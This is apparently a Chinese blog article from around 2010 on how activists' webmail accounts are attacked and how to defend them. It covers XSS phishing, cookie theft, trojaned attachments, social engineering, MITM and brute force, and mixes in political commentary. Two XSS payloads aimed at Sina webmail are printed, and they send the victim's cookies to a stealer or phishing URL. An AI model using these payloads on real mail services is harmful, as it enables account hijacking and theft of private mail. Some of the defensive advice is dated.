对于电子邮箱攻击,你注意到国外媒体批露的中国攻击事件与日俱增,如本月9号,纽约时报记者声称他们的邮箱被攻击,而 Twitter上的敏感人士开始越来越多的抱怨。你可能会质疑,有何事实数据可证明他们的邮箱确被攻击?这是一个好问题,因为他们无法跟踪攻击来源与防御被攻击,那么,常见的攻击手法是怎样的?我们如何跟踪攻击来源?又如何防御邮箱间谍的攻击?
一、你是局外人?还是受害者?
1月,Google向中国提出没有审查机制的G.cn,并声称有人试图入侵中国维权人士的Gmail,14日,McAfee就IE 0day的分析,将此次大规模的窃取机密数据(知识产权)攻击称为极光行动。尽管Google事件余波已去,我想说的是:极光行动为什么没有攻击国内邮箱?——显然!国内的邮箱具有过滤审查机制,这可以解释你的邮箱为何会丢信,更重要的是,一纸红头文件可未经用户许可泄露邮件数据,若有不从,以涉黄之名拔网线威胁。
普通的用户会这样认为:我不是敏感人士,我不会遭到电邮攻击。这样的想法很美好,让我们谈谈"话语权"吧。在三皇五帝的古代,骂皇帝是要砍头,而40年代末的建国期,是红色的革命语,时间回溯现在的极权主义国家,一切已然不一样了,尽管今天的新闻媒体仍在中宣部的约束之下,但互联网是一次革命,这个开放的网络空间,人人都是媒体,可在 Twitter报导新闻,可用Wordpress发出声音,意识形态的大军是无法击溃互联网。
你会不会遭到电邮攻击?与你是不是敏感人士无关,而是视乎你在网络空间的声音、行为,以及现实生活中身份有关系。也不能说所有的电邮攻击都与政府脱不了干系,更有那些充满好奇心、乐于恶作剧的骇客。
二、攻击手法
你的Yahoo邮箱没有点击任何链接,但攻击者无需密码便控制住你的邮箱,这是什么回事?你的Gmail密码相当复杂,但为何收到密码重置的邮件?你登陆网易邮箱,点开邮件即重定向登陆入口,但网址却是真实的,这是为何?最后,来自国外越来越多的电邮失窃的新闻越来越多,你仍质疑中国没有能力侵入他国政要邮箱账户?
1、XSS钓鱼
这种攻击仍是目前最行之有效的方法,除了Gmail目前不存在XSS漏洞外,其它的Yahoo、Hotmail、网易、腾讯、搜狐、新浪等都存在 XSS漏洞。XSS漏洞是啥?它的全称是Cross-site scripting,即跨站攻击,存在此漏洞的网站,能够被恶意攻击者劫持,它还派生了XSRF等等形式的利用,可谓Web木马。
08年,国内的邮箱都存在HTML标签跨站,漏洞都很弱智,比如<img src=javascript:alert()>插在邮件标题、邮件内容、邮件附件处即可弹出一个可爱的 alert。接下来,进步一点了,还是以HTML标签为主,搞个数据包工具看哪个变量没过滤、以及编码转换。09年,又升级了,主要是国外的邮箱 Gmail、Yahoo、Hotmail改以语法过滤,能利用的是CSS标签跨站,Gmail非常狠,除了早期存在Google Docs附件跨站攻击,基本把恶意代码过滤得惨不忍睹。Yahoo在09年亦漏洞不断,但很负责,隔三差五地不断升级,而Hotmail令人失望,居然 1day过了一年都不补。
腾讯圈了一批牛人,忘记是Ph4nt0m还是80sec的,比其它的网易、搜狐、新浪的邮箱安全性好一点,搜狐与新浪最烂,透露一下,它们其中一个仍存在字符集的跨站漏洞。那么,XSS攻击到底是怎样的形式呢?用一个08年截获的新浪的HTML标签XSS漏洞说明,此漏洞是失效了,这年头基本没人直接公开0day,都养家糊口来着。
<INPUT TYPE="IMAGE" SRC="jav ascript:x7s=’var Then=new Date();Then.setTime(Then.getTime()+7200*1000);if(document.cookie. indexOf(\’Cookie1=\’) == -1){document.cookie=\’Cookie1=RAY;expires=\’+Then.toGMTString();window.parent.location.href=\’http://www.google.com/sina/index.php?url=\’+location.href+\’&c=\’+document.cookie.replace(/&/g,\’xxx\’);}’;eval(x7s)");">
此漏洞的形成在于新浪邮箱没有过滤空格,即过滤了javascript,但稍变形为jav ascript,便使得其后的恶意代码得以执行。这段代码有两个功能,获取Cookie并延长有效时间,并用父窗口 windows.parent.location重定向至钓鱼网站。完整的攻击流程是,将上述XSS代码插入至邮件内容,以HTML模式发送邮件至受害者邮箱,受害者点开邮件时,会迅速转向sina钓鱼网站,而转向过程中,因采用parent,转向时,网址不会有变化,即不会显示钓鱼网址,而受害者在钓鱼网站输入密码提交之,钓鱼网站截取密码再转回真实的邮箱,由于控制了Cookie,受害者因怀疑会再次点开那封攻击邮件,但并不会再次跳转,这令受害者产生一种错觉,它以为邮箱仍是安全的。
2、窃取Cookie
你可以理解为窃取会话。你有过很多这样的经历,使用账户登陆某个网站,如Youku.com,关闭浏览器,再次打开youku.com,则不需要输入密码,这便是Cookie的作用。为什么会有Cookie呢?由于Http是无状态协议,为了在各个会话传递信息,因而需要Cookie或Session来标记访客者的状态,这里的 Session是浏览器的Cookie里带了一个Token来标记,而服务器取得Token检查合性后便把服务器上存储的对应状态和浏览器绑定。总的意思就是:我只要窃取你的Cookie并保持了Session不过期,便可无须密码访问你的电子邮箱内容。
如果你要查看自己的Cookie,给Firefox装个HttpFox扩展即可,如下图。
窃取Cookie很简单,可将上面的Javascript稍加改装即可:<INPUT TYPE="IMAGE" SRC="jav ascript:document.location=’http://www.google.com/cookie /stealer.php?cookie=’+document.cookie;">,然后在stealer.php写个保存接收的Cookie记录的代码即可,如果你想让Session不过期,自己写个工具搞惦,每隔30秒请求一次目的页面。09年,Yahoo就被一帮人折腾了很多邮箱,不知道修复了没有,国内几个邮箱也能被利用。
3、恶意软件
即木马、病毒、后门、间谍、键盘记录器……这些软件,最常见算是doc、pdf病毒了,好好的一个文档,挟带了木马,双击一打开,你就完了。最容易受到攻击的是西藏人士、维权人士,然而,我不得不承认,这是一种非常阴险的手段,因为这毫无任何技术含量。这个攻击流程是,xxx部门获取经费收购或买断木马软件、捆绑软件,一般外包给中国公司,然后这些公司的报价奇高,各省xxx部门买了后,按照说明书配置木马上线,再用捆绑工具与可信的文件捆在一起,再用Google挑目标,比如找到abc.com网站,将该网站电子邮箱地址都整理出来,再用邮箱批量群发器不管三七十一把这些病毒通通发过去,再泡上一杯茶盯着木马软件等着目标上线。
这种没有采用鱼叉式攻击所导致的后果是,买的木马软件、捆绑软件很快就无效了,因为一顿乱发,被安全软件给盯上或用户举报查杀掉了,这个例证就是最近的IE 0day及PDF 0day很快曝光,估计这前后都不到一年。而在前文,尽管中国没有比美国更好的网络战争实力,但是不差钱,他们不需要关注技术细节,只需要知道谁有0day,谁会挖掘0day,然后招安,买断一堆的0day,比如Discuz!、Wordpress、Firefox漏洞,照着教程去攻击。
那么如何防御这种恶意附件的攻击?当你再次在邮箱看见一堆的PDF、DOC、HTM压缩包时,简单的方法是,下载后不要打开,直接上传至 Google Docs,要是显示一片空白或无关的内容,不管三七二十一提交到VirusTotal网站上。
4、社会工程学
这个方法很简单,先跟你套近乎下,然后东问问西问问获得碎片信息,基本就是掘地三层把目标的信息全收集起来,完了后,评估一下你的弱点在哪里,再从弱点入手,这种攻击通常是雇佣了职业黑客来完成,因为过程比较复杂。举例子,攻击者有目标的邮箱,然后放到Google搜索,看目标注册了哪些网站,把这些网站整理,逐个把这些网站入侵了并下载数据库,从中找到目标的网站密码,再用网站密码试邮箱密码,要是目标只用一个密码,那么他的邮箱就完了。
总体上来说,你在网络上的信息越少,便能够降低被入侵的威胁。但事实并不情人愿,Web2.0的社交网络流行,你注册了Twitter,天天叽叽喳喳,一不小心把家世、住址、约会全都泄露了,你注册了豆瓣,天天左看右瞧还加了攻击者为好友,结果,他就知道你上网习惯与兴趣爱好,然后再用策略和你聊的特别欢,某一天,他跟你讲:我找到一个非常牛B的电影了,你在Verycd下载瞧瞧。你一看,还真不错,真是你喜欢的。然后他又讲,能不能帮我登陆下 Gmail下载个文件看看是啥内容?我网速比较慢,我发你登陆密码。你听了,这小忙是得帮的,马上速度登陆对方的Gmail下载了压缩包,结果打开压缩包的文档发现啥都没,到了第二天,你就很神奇地发现,哦哦~我的豆瓣、twitter全都登陆不了……
社会工程学攻击永不过时,因为人人都有被利用的心理弱点,不管是好心、私心、同情心啥的,都无法避免这种攻击。不过,这项攻击最大的缺点是,很耗时间,短则几天,长则几月。这项攻击在敏感人士的社区很常见,如Forum、Google Groups等,那些攻击者最常见的手法盗用可信账户发送病毒附件。
5、MIT中间人攻击
以ARP攻击为例,A访问mail.sina.com,但攻击者B通过ARP劫持,可以使得你访问虚假的新浪钓鱼网站,而非真实的新浪。这种劫持通信的手法可适合不同的场合,如劫持ADSL线路,这需要红头文件请本地电信局协助的,然后修改你的数据包返回假的数据包,举例而言,你想从QQ官方下载 QQ程序,攻击者修改数据包把QQ程序的下载地址改成木马地址,结果你就可以下载个木马回去了。如果你的通信是明文,没有采用SSL,攻击者可以直接看到你密码。不过,我不太肯定,Gmail虽然采用了SSL,但用户名与密码却在网址中出现,有公司宣称能解开SSL,我现在仍然是半信半疑。
另外一种是hosts文件劫持,典型的例子是,某个家伙在Twitter.com说:无法访问youtube.com?Picasaweb?很简单,修改hosts文件即可马上访问。你一听,哇,这么好,赶紧用记事本打开hosts文件,把对方提供的映射地址粘贴进去,再重新打开 youtube.com,哇,真神奇,打开了~~聪明的看客接下来知道会发生啥了。
对于ADSL线路劫持的手法,这种攻击也是行之有效的。另外,我们也得对某些代理软件保持警惕,天知道那些免费的socks5、vpn会干出令人震惊的事吗?
6、暴力破解
有三种,web穷举、smtp穷举、云穷举。在多数的情况下,前两种效率低下,且限制诸多,以Web Gmail为例,它有CAPTCHA限制、重复次数的限制,不过,我倒是碰到过一个Python版的穷举工具,但速度很慢。至于smtp,如果服务器做了限制的话,比如现在网易对溯雪暴力破解工具是免疫的。云穷举,就我目前所知,我想这是最有效率的破解方法,已有安全专家Electric Alchemy利用亚马逊云服务Amazon Ec2运行Elcomsoft工具暴力破解PGP ZIP档案的例子。凭借云计算的超级计算机,以及一个分布式邮箱密码破解工具,暴力破解的速度将更快速。不过,这并不切实际,因为破解的成本太高了,需要很多米米。
暴力破解,这个古老的方法在目前只能针对极少的主流电子邮箱,尽管如此,但它对那些自架设的电子邮局仍然有效,因为它们没有CAPTCHA、重复尝试次数、服务器资源等限制。总的来说,暴力破解对本地的加密文件破解比较有效率,但对网络邮箱账户的破解尚不能达到30%的成功率。
7、浏览器恶意脚本
上过流氓软件的当吧?一旦打开IE,主页被锁定只能访问某个流氓的网站,嗯,没错,浏览器的脚本也能起到钓鱼攻击之用。比如IE的BHO(Browser Helper Object)劫持、Chrome、Firefox扩展钓鱼。就目前而言Chrome、Firefox的扩展钓鱼并不怎么流行,这比较麻烦,攻击者需写一个看似合法可信的扩展,并植入后门,还需要方法让目标安装,这费力不讨好,但BHO容易多了,可以隐秘地安装而不会有提示。要防御这种攻击很简单,检视你的Firefox、chrome是否有陌生的扩展、插件,不要在第三方的网站安装扩展。
8、内嵌登陆表单
这是社会工程学攻击的一种变形。当你打开某邮件,其内容部分嵌入了登陆表单,具体就是,你会看到一个要求你输入用户名、密码的登陆框。恰好RFA的新闻《维权人士邮箱和推特遭窃取、攻击》公布一张攻击实例图片,见下图。
如果你的Gmail收到上述的威胁恫吓邮件,不要担心,请在邮件的右侧点击下拉菜单,选择“这是网络欺诈”,而Gmail将会稍后封锁此攻击者。普通的用户不要误以为这是Gmail的安全漏洞,最简单的方法,选中邮件内容查看源代码,你可以发现并不存在恶意的Javascript脚本,而是HTML 标签,你在源代码找到Action位置,将其后的钓鱼网站向Google举报即可。
其它的Gmail用户不需要担心,这种内嵌表单钓鱼方式是通杀Gmail、Hotmail、Yahoo、网易、腾讯、搜狐的邮箱,由于不存在恶意的 Javascript,可称之良性HTML标签利用。看到这类威胁恫吓邮件,一是举报钓鱼邮件、钓鱼网址,二是删除该邮件,三是提醒你的朋友警惕。
三、防御
安全不能100%保证,只能最大限度地降低威胁,更来源于用户的安全意识。
1、防御XSS
如果你使用的Firefox浏览器,可安装NoScript扩展来屏蔽恶意的Javascript脚本。但你希望一劳永逸的话,非常简单,注册一个私人Google Groups,并设置Gmail的过滤器,所有邮件一律转发至Google Groups。但如果也不喜欢注册Google Groups,那么你可以再注册Yahoo、Hotmail邮箱,使用Yahoo收取Gmail,再用Hotmail收取Yahoo,在这过程中,特定的 XSS代码会分崩离析。
2、防御恶意软件
.txt文本格式永远是无害的(如果你的系统没有被映像劫持)。尽管如此,但我们仍难以避免地与.DOC、.PDF格式打交道,如果你使用的Gmail,那么一律在线查看。而另一种可能是,你会收到RAR、7z等压缩格式,而邮件内容也颇具引诱性,那么你下载之后,请右键解压至单独的文件夹,而你不认识发件人并有疑心时,永不要马上打开,请上传至Google Docs在线查看,或者提交到VirusTotal.com在线查毒。最好也在邮箱的签名行增加一行文字:我只接受.txt格式附件!其它格式附件的邮件一律删除。
3、防御身份盗窃
建议启用数字签名。它可以协助你确认签名者的身份及数据完整性,甚至你发出的邮件,对方能够获得确认,从而避免被第三方攻击者的滥用。与此同时,双方还可以明文约定,即在准确的时间范围内容发送邮件,如一般为每个星期日发送邮件,而未在此时间范围内的邮件而作废。
4、防御数据失窃
正如前文所提,你应该使用TrueCrypt加密附件。这款经典的加密工具备受赞誉,你应该保持经常使用的习惯。
5、防御身份泄密
你的密码提示问题应该是模棱两可,比如“天下有多少颗月亮?”。而在个人注册信息处,不要留下你真实家庭地址、×××号、电话号码、出生日期等信息,当你的邮箱被攻破,这些信息能够证明你的身份。不要将这些信息设置为公开,而是保密,并阻止在Google Profiles可见。
6、使用Chrome浏览器
在TippingPoint第三届Pwn2Own黑客大会,Apple’s Safari, Mozilla’s Firefox和Microsoft’s Internet Explorer 8全部阵亡,你应该接纳黑客们的建议,使用Chrome浏览器,我不能保证Chrome会一直安全的,因为安全是个伪命题,就目前而言,Chrome是个不错的选择。当然,下一届的Pwn2Own王者可能会是Firefox,不管如何,IE不是个好选择,因为中国的黑客正在折腾它。
7、使用Gmail
在我长达半年的测试,我仍然无法拿下Gmail,它×××全了,这使我郁火,当然,我也不能保证它也是最安全的,至少目前我没有听到Gmail存在安全漏洞的消息。
8、每月密码老化
微软声称,定期改密码没有用,只会浪费时间与金钱。我反对这种说法,当然,他们的调查结果是针对美国企业。我的建议是,密码请设置为12位,每月更改电子邮箱密码。间谍与黑客不一样,间谍才不会愚蠢地删除你的邮件并更改你的密码,那不可能,他们会暗中的监视你的邮件来往情况,伺机获得可起诉的把柄。
四、反跟踪
在你尚未成为他人的鱼之前,先搞翻这位渔人。
1、阻止邮件中的媒体
如果你不想攻击者获取到你的IP地址、浏览器、操作系统等信息,你应该阻止邮件中图片显示。这是为什么?显示图片则意味着你访问了该图片的服务器,而该服务器则记录了你的访问数据。如果你已经安装了IIS、Apache,那么你可以打开http://localhost,再去查看它们的日志信息,看看到底有没有记录你的访问信息。
而如果你没有装上IIS、Apache无法测试的话,你可以打开间谍猪:http://www.spypig.com/ 向自己的邮箱发送测试邮件。如果你使用的Gmail,那非常好,Gmail默认是阻止图片显示的。
2、跟踪发件人的来源
如果你用的Foxmail客户端,那很简单:邮件——邮件信息——原始信息,即可看到发件人的IP地址。如果你使用的Gmail,你可以在邮件的右侧点击三角形的下拉框,选择Show original查看邮件头,要是看的头晕,可直接找"Received"那一行,将其后的IP地址放到www.myip.cn进行查询,以确认发件人来自哪里。
3、质询
陌生人可能发送热点事件的邮件,诸如玉树地震死亡名单,维权人士名单,他试图激起你的好奇心以及人道主义、爱心等。你不应该马上查看,而是澄清你的疑问,这份名单的出处来自哪里?你为什么拥有这份名单?你发送给我的理由是什么?要是对方无法消除你的疑问以及无回复,我建议你将这封邮件的附件下载,交提交到VirusTotal上报病毒。
4、搜索
搜索对方的邮箱地址,看看在互联网是否有迹可寻。如果你使用Gmail,可在邮件中点击“Show details”看看此封邮件是否为群发邮件,如果是,直接回复所有人询问:这封邮件带有病毒吗?
5、检查过滤器
现在登陆你的Gmail,进入设置项,选择“Filters” 标签,检查是否存可疑的邮箱地址,如果有,请迅速删除,否则,你的邮件全被偷了。
五、反思
从陆战、水战、空战、网战、太空战,全球各国都在试图提升各个空间作战实力,显然,在网战这块,中国是大小通吃,吃完之后还坚决反对没吃。以Google事件为例,华尔街日报昨天的报道《谷歌攻击者获得用户识别软件代码》,提及攻击者使用了谷歌工程师的工作站作为跳板,尽管我不能核实其真实性,但在《挑战五毛党》这篇分析文也提及 Google中国区被安插内鬼。接下来,北京政府将如何应对Google后续事件呢?吃?抑或没吃呢?